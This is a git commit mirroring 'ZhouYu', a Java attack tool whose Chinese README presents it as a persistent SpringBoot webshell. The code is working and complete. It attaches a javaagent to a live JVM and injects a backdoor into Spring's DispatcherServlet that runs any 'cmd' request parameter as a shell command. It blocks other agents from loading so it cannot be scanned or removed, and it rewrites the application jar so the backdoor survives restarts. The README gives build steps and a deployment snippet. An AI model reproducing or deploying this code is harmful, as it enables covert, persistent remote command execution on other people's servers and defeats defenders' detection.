mirror of
https://github.com/threedr3am/ZhouYu
synced 2026-06-08 17:47:28 +00:00
first commit
This commit is contained in:
+14
@@ -0,0 +1,14 @@
|
||||
/build/
|
||||
.idea
|
||||
*.iws
|
||||
*.iml
|
||||
*.ipr
|
||||
/out/
|
||||
.DS_Store
|
||||
out/
|
||||
/gradlew.bat
|
||||
/gradle
|
||||
/gradlew
|
||||
**/build
|
||||
**/*.jar
|
||||
.gradle
|
||||
@@ -0,0 +1,51 @@
|
||||
*工具仅用于安全研究,禁止使用工具发起非法攻击,造成的后果使用者负责*
|
||||
|
||||
### ZhouYu -> 周瑜
|
||||
|
||||
Java - SpringBoot 持久化 WebShell
|
||||
|
||||
背景:后Spring时代,SpringBoot jar部署模式下,一般没有了JSP,所有的模板都在jar内,当大家都热衷于内存马的时候,发现很容易被查杀(网上查杀方式无外乎都是利用JVMTI重加载class的javaagent方式),并且重启后丢失!
|
||||
|
||||
1. ZhouYu带来新的webshell写入手法,通过javaagent,利用JVMTI机制,在回调时重写class类,插入webshell,并通过阻止后续javaagent加载的方式,防止webshell被查杀
|
||||
|
||||
2. 修改的class类插入webshell后,通过持久化到jar进行class替换,达到webshell持久化,任你如何重启都无法甩掉
|
||||
|
||||
### 一、打包编译
|
||||
|
||||
命令:
|
||||
```text
|
||||
gradle :agent:shadowJar
|
||||
```
|
||||
或
|
||||
```text
|
||||
./gradlew :agent:shadowJar
|
||||
```
|
||||
|
||||
编译后得到 agent/build/libs/agent-xxx.jar,即ZhouYu.jar
|
||||
|
||||
### 二、使用方式
|
||||
|
||||
两种场景:
|
||||
|
||||
1. 当你知道jvm pid时,并且能写入临时文件(ZhouYu.jar),一般这种场景不太常见,测试场景比较多
|
||||
```text
|
||||
java -jar ZhouYu.jar 23232,23232为需要attach的jvm进程号!
|
||||
```
|
||||
|
||||
2. 能执行一小段代码(内存shell的原理一般是反序列化时加载一段恶意字节码)
|
||||
|
||||
先把编译后得到的ZhouYu.jar写到临时目录,例:/tmp/ZhouYu.jar
|
||||
|
||||
接着执行下面代码:
|
||||
```
|
||||
try {
|
||||
String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName();
|
||||
int indexOf = pid.indexOf('@');
|
||||
if (indexOf > 0) {
|
||||
pid = pid.substring(0, indexOf);
|
||||
Runtime.getRuntime().exec(String.format("java -jar /tmp/ZhouYu.jar %s", pid));
|
||||
}
|
||||
} catch (Throwable throwable) {
|
||||
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,22 @@
|
||||
package me.threedr3am.zhouyu.agent;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author threedr3am
|
||||
*/
|
||||
public class ExpGen {
|
||||
|
||||
public static void main(String[] args) throws IOException {
|
||||
try {
|
||||
String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName();
|
||||
int indexOf = pid.indexOf('@');
|
||||
if (indexOf > 0) {
|
||||
pid = pid.substring(0, indexOf);
|
||||
Runtime.getRuntime().exec(String.format("java -jar /tmp/ZhouYu.jar %s", pid));
|
||||
}
|
||||
} catch (Throwable throwable) {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package me.threedr3am.zhouyu.agent;
|
||||
|
||||
import com.sun.tools.attach.AgentInitializationException;
|
||||
import com.sun.tools.attach.AgentLoadException;
|
||||
import com.sun.tools.attach.AttachNotSupportedException;
|
||||
import com.sun.tools.attach.VirtualMachine;
|
||||
import java.io.IOException;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import me.threedr3am.zhouyu.core.config.Config;
|
||||
import me.threedr3am.zhouyu.core.transformer.CoreClassFileTransformer;
|
||||
|
||||
/**
|
||||
* @author threedr3am
|
||||
*/
|
||||
public class ZhouYu {
|
||||
|
||||
public static void premain(String agentArg, Instrumentation inst) {
|
||||
init(agentArg, inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String agentArg, Instrumentation inst) {
|
||||
init(agentArg, inst);
|
||||
}
|
||||
|
||||
public static synchronized void init(String action, Instrumentation inst) {
|
||||
System.out.println("[ZhouYu] 持久化Agent Shell启动 ...");
|
||||
System.out.println(String.format("[ZhouYu] 参数: %s", action));
|
||||
try {
|
||||
Config.init(action);
|
||||
CoreClassFileTransformer coreClassFileTransformer = new CoreClassFileTransformer(inst);
|
||||
inst.addTransformer(coreClassFileTransformer, true);
|
||||
coreClassFileTransformer.retransform();
|
||||
} catch (Throwable e) {
|
||||
System.err.println("[ZhouYu] 持久化Agent Shell写入失败!");
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static void main(String[] args)
|
||||
throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
|
||||
if (args.length == 0) {
|
||||
System.err.println("[ZhouYu] 参数缺少,例:java -jar ZhouYu.jar 23232,23232为需要attach的jvm进程号!");
|
||||
System.exit(-1);
|
||||
}
|
||||
VirtualMachine vmObj = null;
|
||||
|
||||
try {
|
||||
vmObj = VirtualMachine.attach(args[0]);
|
||||
String agentpath = ZhouYu.class.getProtectionDomain().getCodeSource().getLocation().getFile();
|
||||
if (vmObj != null) {
|
||||
if (args.length > 1) {
|
||||
vmObj.loadAgent(agentpath, args[1]);
|
||||
} else {
|
||||
vmObj.loadAgent(agentpath);
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
if (null != vmObj) {
|
||||
vmObj.detach();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
buildscript {
|
||||
repositories {
|
||||
jcenter()
|
||||
}
|
||||
|
||||
dependencies {
|
||||
classpath "com.github.jengelman.gradle.plugins:shadow:4.0.3"
|
||||
}
|
||||
}
|
||||
|
||||
allprojects {
|
||||
apply plugin: 'java'
|
||||
|
||||
group 'me.threedr3am.zhouyu'
|
||||
version '1.0-SNAPSHOT'
|
||||
|
||||
sourceCompatibility = 1.7
|
||||
targetCompatibility = 1.7
|
||||
}
|
||||
|
||||
subprojects {
|
||||
dependencies {
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter-api:5.6.0'
|
||||
testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine'
|
||||
|
||||
runtime files(org.gradle.internal.jvm.Jvm.current().toolsJar)
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
}
|
||||
|
||||
project(":agent") {
|
||||
|
||||
apply plugin: 'com.github.johnrengelman.shadow'
|
||||
|
||||
shadowJar {
|
||||
manifest {
|
||||
attributes 'Main-Class': 'me.threedr3am.zhouyu.agent.ZhouYu'
|
||||
attributes 'Premain-Class': 'me.threedr3am.zhouyu.agent.ZhouYu'
|
||||
attributes 'Agent-Class': 'me.threedr3am.zhouyu.agent.ZhouYu'
|
||||
attributes 'Can-Redefine-Classes': true
|
||||
attributes 'Can-Retransform-Classes': true
|
||||
}
|
||||
|
||||
relocate 'javassist', 'me.threedr3am.zhouyu.javassist'
|
||||
}
|
||||
|
||||
dependencies {
|
||||
compile project(":core")
|
||||
}
|
||||
}
|
||||
|
||||
project(":core") {
|
||||
|
||||
dependencies {
|
||||
compile group: 'org.javassist', name: 'javassist', version: '3.27.0-GA'
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
package me.threedr3am.zhouyu.core.config;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
/**
|
||||
* @author threedr3am
|
||||
*/
|
||||
public class Config {
|
||||
|
||||
private static Config config;
|
||||
|
||||
private static Boolean printError = false;
|
||||
|
||||
public static final Config getInstance() {
|
||||
if (config == null) {
|
||||
synchronized (Config.class) {
|
||||
if (config == null) {
|
||||
config = new Config();
|
||||
}
|
||||
}
|
||||
}
|
||||
return config;
|
||||
}
|
||||
|
||||
public static void init(String action) throws IllegalAccessException {
|
||||
if (action == null || action.isEmpty()) {
|
||||
return;
|
||||
}
|
||||
Config config = getInstance();
|
||||
Map<String, Field> fieldMap = new HashMap<>();
|
||||
Field[] fields = Config.class.getDeclaredFields();
|
||||
for (Field field : fields) {
|
||||
if (field.getName().equals("config")) {
|
||||
continue;
|
||||
}
|
||||
fieldMap.put(field.getName(), field);
|
||||
}
|
||||
|
||||
Pattern pattern = Pattern.compile("((.+?)=(.+?))(,|$)");
|
||||
Matcher matcher = pattern.matcher(action);
|
||||
while (matcher.find()) {
|
||||
String key = matcher.group(2);
|
||||
String value = matcher.group(3);
|
||||
Field field;
|
||||
if ((field = fieldMap.get(key)) != null) {
|
||||
if (field.getType() == Boolean.class) {
|
||||
field.set(config, Boolean.valueOf(value));
|
||||
} else if (field.getType() == Integer.class) {
|
||||
field.set(config, Integer.valueOf(value));
|
||||
} else if (field.getType() == Long.class) {
|
||||
field.set(config, Long.valueOf(value));
|
||||
} else {
|
||||
field.set(config, value);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Boolean getPrintError() {
|
||||
return printError;
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
System.out.println();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package me.threedr3am.zhouyu.core.init;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.LoaderClassPath;
|
||||
import me.threedr3am.zhouyu.core.transformer.Transformer;
|
||||
|
||||
/**
|
||||
* @author threedr3am
|
||||
*/
|
||||
public class ProtectTransformer implements Transformer {
|
||||
|
||||
@Override
|
||||
public boolean condition(String className) {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transformer(ClassLoader loader, String className, byte[] codeBytes) {
|
||||
return check(className, loader, codeBytes);
|
||||
}
|
||||
|
||||
private byte[] check(String className, ClassLoader loader, byte[] codeBytes) {
|
||||
CtClass ctClass = null;
|
||||
try {
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
classPool.appendClassPath(new LoaderClassPath(loader));
|
||||
ctClass = classPool.makeClass(new ByteArrayInputStream(codeBytes));
|
||||
CtClass[] interfaces = ctClass.getInterfaces();
|
||||
if (interfaces != null) {
|
||||
for (CtClass anInterface : interfaces) {
|
||||
//遇到其它的agent,直接干掉它,不让它加载
|
||||
if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer")) {
|
||||
System.out.println(String.format("[ZhouYu] 有新的agent: %s 加载,把它干掉!", className));
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
}
|
||||
return ctClass.toBytecode();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
if (ctClass != null) {
|
||||
ctClass.detach();
|
||||
}
|
||||
}
|
||||
return codeBytes;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
package me.threedr3am.zhouyu.core.init;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
import java.util.jar.JarEntry;
|
||||
import java.util.jar.JarInputStream;
|
||||
import java.util.jar.JarOutputStream;
|
||||
import java.util.zip.CRC32;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtConstructor;
|
||||
import javassist.CtMethod;
|
||||
import javassist.LoaderClassPath;
|
||||
import me.threedr3am.zhouyu.core.transformer.Transformer;
|
||||
import me.threedr3am.zhouyu.core.util.JavassistUtil;
|
||||
|
||||
/**
|
||||
* @author threedr3am
|
||||
*/
|
||||
public class WriteShellTransformer implements Transformer {
|
||||
|
||||
private String[][] methods = new String[][] {
|
||||
// new String[] {"javax/servlet/http/HttpServlet", "javax.servlet.http.HttpServlet", "service", "(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"},
|
||||
new String[] {"org/springframework/web/servlet/DispatcherServlet", "org.springframework.web.servlet.DispatcherServlet", "doService", "(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"},
|
||||
|
||||
};
|
||||
|
||||
private Set<String> cache = new HashSet<>();
|
||||
|
||||
@Override
|
||||
public boolean condition(String className) {
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (className.equals(methods[i][0]) || className.equals(methods[i][1])) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transformer(ClassLoader loader, String className, byte[] codeBytes) {
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (className.equals(methods[i][0]) || className.equals(methods[i][1])) {
|
||||
codeBytes = insertShell(methods[i][2], methods[i][3], loader, codeBytes, getBeforeInsertCode());
|
||||
}
|
||||
}
|
||||
return codeBytes;
|
||||
}
|
||||
|
||||
private String getBeforeInsertCode() {
|
||||
StringBuilder codeBuilder = new StringBuilder()
|
||||
.append("String cmd = $1.getParameter(\"cmd\");").append("\n")
|
||||
.append("if (cmd != null) {").append("\n")
|
||||
.append(" try {").append("\n")
|
||||
.append(" String[] cmds = cmd.split(\" \");").append("\n")
|
||||
.append(" InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();").append("\n")
|
||||
.append(" StringBuilder stringBuilder = new StringBuilder();").append("\n")
|
||||
.append(" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));").append("\n")
|
||||
.append(" String line;").append("\n")
|
||||
.append(" while((line = bufferedReader.readLine()) != null) {").append("\n")
|
||||
.append(" stringBuilder.append(line).append(\"\\n\");").append("\n")
|
||||
.append(" }").append("\n")
|
||||
.append(" byte[] res = stringBuilder.toString().getBytes(StandardCharsets.UTF_8);").append("\n")
|
||||
.append(" $2.getOutputStream().write(res);").append("\n")
|
||||
// .append(" $2.getOutputStream().flush();").append("\n")
|
||||
// .append(" $2.getOutputStream().close();").append("\n")
|
||||
.append(" } catch (Throwable throwable) {").append("\n")
|
||||
.append(" throwable.printStackTrace();").append("\n")
|
||||
.append(" }").append("\n")
|
||||
.append("}").append("\n")
|
||||
;
|
||||
return codeBuilder.toString();
|
||||
}
|
||||
|
||||
private byte[] insertShell(String hookMethod, String hookMethodSignature, ClassLoader loader, byte[] codeBytes, String beforeCode) {
|
||||
CtClass ctClass = null;
|
||||
try {
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
classPool.appendClassPath(new LoaderClassPath(loader));
|
||||
classPool.importPackage("java.io.InputStream");
|
||||
classPool.importPackage("java.lang.Runtime");
|
||||
classPool.importPackage("java.lang.StringBuilder");
|
||||
classPool.importPackage("java.io.BufferedReader");
|
||||
classPool.importPackage("java.io.InputStreamReader");
|
||||
classPool.importPackage("java.nio.charset.StandardCharsets");
|
||||
ctClass = classPool.makeClass(new ByteArrayInputStream(codeBytes));
|
||||
if (hookMethod.equals("<init>")) {
|
||||
Set<CtConstructor> ctConstructors = JavassistUtil.getAllConstructors(ctClass);
|
||||
for (CtConstructor ctConstructor : ctConstructors) {
|
||||
if (cache.contains(ctConstructor.getLongName())) {
|
||||
continue;
|
||||
}
|
||||
if (ctConstructor.getSignature().equals(hookMethodSignature) || hookMethodSignature.equals("*")) {
|
||||
System.out.println(String.format("[ZhouYu] hook %s %s %s", ctClass.getName(), ctConstructor.getName(), ctConstructor.getSignature()));
|
||||
ctConstructor.insertBefore(beforeCode);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Set<CtMethod> methods = JavassistUtil.getAllMethods(ctClass);
|
||||
for (CtMethod ctMethod : methods) {
|
||||
if (cache.contains(ctMethod.getLongName())) {
|
||||
continue;
|
||||
}
|
||||
if ((Modifier.NATIVE & ctMethod.getModifiers()) == 0 && ctMethod.getName().equals(hookMethod) && (ctMethod.getSignature().equals(hookMethodSignature) || hookMethodSignature.equals("*"))) {
|
||||
System.out.println(String.format("[ZhouYu] hook %s %s %s", ctClass.getName(), ctMethod.getName(), ctMethod.getSignature()));
|
||||
ctMethod.insertBefore(beforeCode);
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(ctClass.getURL().getFile());
|
||||
overrideClassForJar(ctClass.getURL().getFile(), ctClass.toBytecode());
|
||||
return ctClass.toBytecode();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
if (ctClass != null) {
|
||||
ctClass.detach();
|
||||
}
|
||||
}
|
||||
return codeBytes;
|
||||
}
|
||||
|
||||
private void overrideClassForJar(String path, byte[] codeBytes) throws IOException {
|
||||
try {
|
||||
if (!path.contains("!/")) {
|
||||
if (path.endsWith(".class")) {
|
||||
try {
|
||||
Files.write(Paths.get(path), codeBytes);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
String origin = path.replace("file:", "");
|
||||
String[] paths = origin.split("!/");
|
||||
String jar = paths[0];
|
||||
String secondJar = paths.length == 3 ? paths[1] : "NULL";
|
||||
String target = jar + ".target";
|
||||
String classPath = paths.length == 2 ? paths[1] : paths[2];
|
||||
|
||||
JarInputStream jarInputStream = new JarInputStream(new FileInputStream(jar));
|
||||
JarOutputStream jarOutputStream = new JarOutputStream(new FileOutputStream(target), jarInputStream.getManifest());
|
||||
JarEntry jarEntry;
|
||||
byte[] bytes = new byte[1024];
|
||||
int count;
|
||||
while((jarEntry = jarInputStream.getNextJarEntry()) != null) {
|
||||
if (jarEntry.getName().equals(secondJar)) {
|
||||
System.out.println(String.format("替换jar: %s", jarEntry.getName()));
|
||||
ByteArrayOutputStream readByteArrayOutputStream = new ByteArrayOutputStream();
|
||||
while ((count = jarInputStream.read(bytes)) != -1) {
|
||||
readByteArrayOutputStream.write(bytes, 0, count);
|
||||
}
|
||||
JarInputStream jarInputStream2 = new JarInputStream(new ByteArrayInputStream(readByteArrayOutputStream.toByteArray()));
|
||||
ByteArrayOutputStream writeByteArrayOutputStream = new ByteArrayOutputStream();
|
||||
JarOutputStream jarOutputStream2 = new JarOutputStream(writeByteArrayOutputStream, jarInputStream2.getManifest());
|
||||
JarEntry jarEntry2;
|
||||
while((jarEntry2 = jarInputStream2.getNextJarEntry()) != null) {
|
||||
if (jarEntry2.getName().equals(classPath)) {
|
||||
JarEntry newJarEntry = new JarEntry(jarEntry2.getName());
|
||||
newJarEntry.setMethod(JarEntry.STORED);
|
||||
newJarEntry.setCompressedSize(codeBytes.length);
|
||||
newJarEntry.setSize(codeBytes.length);
|
||||
CRC32 crc = new CRC32();
|
||||
crc.reset();
|
||||
crc.update(codeBytes);
|
||||
newJarEntry.setCrc(crc.getValue());
|
||||
jarOutputStream2.putNextEntry(newJarEntry);
|
||||
jarOutputStream2.write(codeBytes);
|
||||
System.out.println(String.format("替换内部jar: %s 中的class: %s", jarEntry.getName(), jarEntry2.getName()));
|
||||
} else {
|
||||
jarOutputStream2.putNextEntry(jarEntry2);
|
||||
while ((count = jarInputStream2.read(bytes)) != -1) {
|
||||
jarOutputStream2.write(bytes, 0, count);
|
||||
}
|
||||
}
|
||||
jarOutputStream2.closeEntry();
|
||||
jarInputStream2.closeEntry();
|
||||
}
|
||||
jarOutputStream2.close();
|
||||
jarInputStream2.close();
|
||||
JarEntry newJarEntry = new JarEntry(jarEntry.getName());
|
||||
newJarEntry.setMethod(JarEntry.STORED);
|
||||
newJarEntry.setCompressedSize(writeByteArrayOutputStream.size());
|
||||
newJarEntry.setSize(writeByteArrayOutputStream.size());
|
||||
CRC32 crc = new CRC32();
|
||||
crc.reset();
|
||||
crc.update(writeByteArrayOutputStream.toByteArray());
|
||||
newJarEntry.setCrc(crc.getValue());
|
||||
jarOutputStream.putNextEntry(newJarEntry);
|
||||
jarOutputStream.write(writeByteArrayOutputStream.toByteArray());
|
||||
} else {
|
||||
if (jarEntry.getName().equals(classPath)) {
|
||||
JarEntry newJarEntry = new JarEntry(jarEntry.getName());
|
||||
newJarEntry.setMethod(JarEntry.STORED);
|
||||
newJarEntry.setCompressedSize(codeBytes.length);
|
||||
newJarEntry.setSize(codeBytes.length);
|
||||
CRC32 crc = new CRC32();
|
||||
crc.reset();
|
||||
crc.update(codeBytes);
|
||||
newJarEntry.setCrc(crc.getValue());
|
||||
jarOutputStream.putNextEntry(newJarEntry);
|
||||
jarOutputStream.write(codeBytes);
|
||||
System.out.println(String.format("替换class: %s", jarEntry.getName()));
|
||||
} else {
|
||||
jarOutputStream.putNextEntry(jarEntry);
|
||||
while ((count = jarInputStream.read(bytes)) != -1) {
|
||||
jarOutputStream.write(bytes, 0, count);
|
||||
}
|
||||
}
|
||||
}
|
||||
jarOutputStream.closeEntry();
|
||||
jarInputStream.closeEntry();
|
||||
}
|
||||
jarInputStream.close();
|
||||
jarOutputStream.close();
|
||||
|
||||
Files.write(Paths.get(jar), Files.readAllBytes(Paths.get(target)));
|
||||
Files.delete(Paths.get(target));
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
/**
|
||||
* @author threedr3am
|
||||
*/
|
||||
package me.threedr3am.zhouyu.core;
|
||||
+64
@@ -0,0 +1,64 @@
|
||||
package me.threedr3am.zhouyu.core.transformer;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.IllegalClassFormatException;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.instrument.UnmodifiableClassException;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import me.threedr3am.zhouyu.core.init.ProtectTransformer;
|
||||
import me.threedr3am.zhouyu.core.init.WriteShellTransformer;
|
||||
|
||||
/**
|
||||
* @author threedr3am
|
||||
*/
|
||||
public class CoreClassFileTransformer implements ClassFileTransformer {
|
||||
|
||||
private Instrumentation inst;
|
||||
|
||||
private static final List<Transformer> transformers = new ArrayList<>();
|
||||
|
||||
static {
|
||||
transformers.add(new WriteShellTransformer());
|
||||
transformers.add(new ProtectTransformer());
|
||||
}
|
||||
|
||||
public CoreClassFileTransformer(Instrumentation inst) {
|
||||
this.inst = inst;
|
||||
}
|
||||
|
||||
public void retransform() {
|
||||
Class[] classes = inst.getAllLoadedClasses();
|
||||
if (classes != null) {
|
||||
Set<Class> classSet = new HashSet<>();
|
||||
for (Class aClass : classes) {
|
||||
for (Transformer transformer : transformers) {
|
||||
if (transformer.condition(aClass.getName()) && inst.isModifiableClass(aClass)) {
|
||||
classSet.add(aClass);
|
||||
System.out.println(String.format("[ZhouYu] reload class: %s", aClass.getName()));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!classSet.isEmpty()) {
|
||||
try {
|
||||
inst.retransformClasses(classSet.toArray(new Class[classSet.size()]));
|
||||
} catch (UnmodifiableClassException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
|
||||
for (Transformer transformer : transformers) {
|
||||
classfileBuffer = transformer.transformer(loader, className, classfileBuffer);
|
||||
}
|
||||
return classfileBuffer;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package me.threedr3am.zhouyu.core.transformer;
|
||||
|
||||
/**
|
||||
* @author threedr3am
|
||||
*/
|
||||
public interface Transformer {
|
||||
|
||||
boolean condition(String className);
|
||||
|
||||
byte[] transformer(ClassLoader loader, String className, byte[] codeBytes);
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package me.threedr3am.zhouyu.core.util;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtConstructor;
|
||||
import javassist.CtMethod;
|
||||
|
||||
/**
|
||||
* @author threedr3am
|
||||
*/
|
||||
public class JavassistUtil {
|
||||
|
||||
public static Set<CtMethod> getAllMethods(CtClass ctClass) {
|
||||
Set<CtMethod> ctMethods = new HashSet<>();
|
||||
ctMethods.addAll(Arrays.asList(ctClass.getDeclaredMethods()));
|
||||
ctMethods.addAll(Arrays.asList(ctClass.getMethods()));
|
||||
return ctMethods;
|
||||
}
|
||||
|
||||
public static Set<CtConstructor> getAllConstructors(CtClass ctClass) {
|
||||
Set<CtConstructor> ctConstructors = new HashSet<>();
|
||||
ctConstructors.addAll(Arrays.asList(ctClass.getDeclaredConstructors()));
|
||||
ctConstructors.addAll(Arrays.asList(ctClass.getConstructors()));
|
||||
return ctConstructors;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
rootProject.name = 'ZhouYu'
|
||||
include 'agent'
|
||||
include 'core'
|
||||
|
||||
Reference in New Issue
Block a user